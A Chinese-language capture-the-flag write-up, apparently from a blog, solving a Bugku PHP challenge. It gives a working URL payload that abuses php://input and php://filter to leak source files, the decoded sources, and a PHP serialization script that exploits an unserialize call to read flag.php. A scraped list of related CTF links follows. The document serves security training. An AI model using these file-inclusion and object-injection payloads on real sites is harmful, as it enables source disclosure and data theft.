CTF/CTF练习平台-welcome to bugkuctf【php://filter及php://input】
原题内容:
http://120.24.86.145:8006/test1/
首先bp一下,可见提示源码:
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php
}else{ echo "you are not admin ! ";
} -->
首先,分析代码获取四个需求:
1.三个传参
2.$user存在且不为空,
3.读取$user文件,内容为welcome to the bugkuctf,
4.$file要求为hint.php,将其导入
其实比较熟悉就知道两个点可以利用了,php://input与php://filter
php不提了,之前的博客中讲解过,不懂得可以前去看一下
CTF/CTF练习平台-flag在index里【php://filter的利用】
这里讲一下php://input
当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取
这题的效果如下:
加上php://filter的利用,读取hint.php的内容
load url改为:
http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
可得到base64加密的字符串:
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
同理把hint.php改为index.php,顺路看看index的源码:
得到字符串:
PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg
解密得到代码:
#hint.php<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("good");} }
}
?> #index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦";exit(); }else{ include($file); $password = unserialize($password); echo $password; }
}else{ echo "you are not the number of bugku ! ";
} ?> <!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php
}else{ echo "you are not admin ! ";
} -->
从上面获取的源码可得到如下信息:
1.提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了屏蔽
2.hint.php中定义了一个类Flag,很有意思的是中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
3. __tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开
4.在index.php源码中看到了$password的作用
这里走进了一个坑,一直在想办法绕过flag关键词的屏蔽,但是限制于php://fliter的格式,一直不得其解
正解应该是利用$password
之前说过Flag方法当做字符串执行时,会自动执行 __tostring 方法,注意到echo函数,只能输出一个或多个字符串,所以只要$password为Flag类型数据,且其中string类型的变量$file为flag.php即可
理解到这里,就懂了为啥多一个很奇怪的unserialize函数,其作用即为让你用字符串方式传递一个类
具体函数用法不多说,以前博客中有讲过,不懂可以去一看
实验吧-天网管理系统【php弱类型==与===的利用】
自己写了个php文件:
<?phpclass Flag{//flag.php public $file; } $a = new Flag();$a->file = "flag.php";$a = serialize($a);print_r($a);
?>
执行得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
将其作为参数$password传进去,bp可得:
CTF/CTF练习平台-welcome to bugkuctf【php://filter及php://input】相关推荐
- ctf web5 练习_Writeup - CTF - WEB - 练习平台(123.206.31.85)
签到题 这个直接加群就好了 Web2 打开这个页面,面对铺天盖地而来的滑稽,直接F12查看源代码 文件上传测试 虽然知道题目没那么简单,但是先上传一个PHP文件,看一下反应 点击上传后查看页面的返回情 ...
- [CTF] CTF入门指南
CTF入门指南 何为CTF ? CTF(Capture The Flag)夺旗比赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客大会 ...
- 从零开始学习CTF——CTF基本概念
这一系列把自己学习的CTF的过程详细写出来,方便大家学习时可以参考. 一.CTF简介 01」简介 中文一般译作夺旗赛(对大部分新手也可以叫签到赛),在网络安全领域中指的是网络安全技术人员之间进行技术竞 ...
- php字符长度函数漏洞 ctf,CTF中常见php-MD5()函数漏洞
CTF中常见php-MD5()函数漏洞 1.数字与字符串之间的比较 var_dump( 0 == "a" ); var_dump( "0" == "a ...
- php的filter input,记一个php://filter和php://input的CTF题
首先直接查看源码,可以获得题目中的提示 you are not the number of bugku ! 通过审计源码知道需求如下: 需要通过GET方式传递三个参数 必须存在$user 读取的$us ...
- php strlen ctf,CTF中的PHP反序列化漏洞简单分析
[PHP] 纯文本查看 复制代码<?php class start_gg { public $mod1; public $mod2; public function __construct() ...
- ctf php 流量分析题,CTF平台hackit题目分析与解答
之前在网上经常看到很多的CTF的练习平台,在加上搞CTF比赛的学弟推荐了这个 CTF平台 .当时在网上看了一下,这个平台推荐的人还是很多的.这个平台是由一个白帽子个人开发的一个平台.趁着这个平台还没有 ...
- switchyomega插件_CTF|你所关注的CTFer都在用的插件合集【附:XXE补给+CTF训练集】...
不看后悔系列,建议收藏 相信大家对 CTF 都不陌生了,今天为大家带来了一系列 CTF 必备 Chrome 插件. CTF 可能很多人想学 CTF,但又怕零基础学不懂.其实,CTF 并没有那么难. C ...
- 1月全球CTF比赛时间汇总来了!
● 从事网络安全行业工作,怎么能不参加一次CTF比赛了! 小编作为一个CTF比赛老鸟,以每次都能做出签到题为荣! 下面给大家分享一下1月份CTF比赛时间,比赛按时间先后排序,国内国外的都有哦!临近新年 ...
最新文章
- Ext.app.controller的refs
- wordpress媒体库上传含中文的文件名后,标题被重新编码。
- Web会话安全分析工具ProxyStrike
- Apache Avro
- 响应式编程知多少 | Rx.NET 了解下
- pip 安装 tensoflow
- php 压缩html css,PHP实现动态压缩js与css文件的方法
- [uva11174]村民排队 递推+组合数+线性求逆元
- 朴素贝叶斯python实现预测_Python朴素贝叶斯预测.PDF
- ubuntu安装后的一些操作
- Promise的resolve方法和reject方法
- Ansys 15.0 x64 安装
- 苹果退款_苹果退款有什么影响吗
- 小菜鸟的C++游戏编程学习日记(一)
- 什么是软件 驱动软件 什么是程序
- 被缠上了,小王问我怎么在 Spring Boot 中使用 JDBC 连接 MySQL
- mac 上安装git
- 如何在Apple CarPlay中使用Google Maps进行导航
- 登录企业邮箱入口,查看你不知道的企业公共邮箱优惠
- ex绅士_非凡绅士联盟...